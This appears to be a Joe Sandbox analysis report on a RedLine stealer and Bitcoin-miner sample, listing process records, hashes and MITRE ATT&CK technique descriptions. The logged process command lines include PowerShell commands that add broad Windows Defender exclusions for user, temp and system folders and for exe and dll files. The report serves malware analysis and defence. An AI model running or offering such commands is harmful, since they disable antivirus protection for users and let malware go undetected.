Commandline:	"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: sihost32.exe PID: 6688 Parent PID: 6972

General

Start time:	18:14:20
Start date:	28/12/2021
Path:	C:\Windows\System32\Microsoft\Telemetry\sihost32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
Imagebase:	0x4a0000
File size:	9216 bytes
MD5 hash:	7E00AE5CF06B98B3D7494EE13532D651
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 0000001D.00000003.868890764.0000000003DD6000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 0000001D.00000002.913279029.0000000003711000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 31%, Metadefender, Browse Detection: 75%, ReversingLabs

Analysis Process: conhost.exe PID: 4804 Parent PID: 4812

General

Start time:	18:14:21
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff732050000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: powershell.exe PID: 2480 Parent PID: 4812

General

Start time:	18:14:22
Start date:	28/12/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Imagebase:	0x7ff7bedd0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: powershell.exe PID: 1848 Parent PID: 2128

General

Start time:	18:14:24
Start date:	28/12/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Imagebase:	0x7ff7bedd0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: powershell.exe PID: 5148 Parent PID: 4812

General

Start time:	18:14:35
Start date:	28/12/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Imagebase:	0x7ff7bedd0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report YfTokH7RIj

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Bitcoin Miner:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre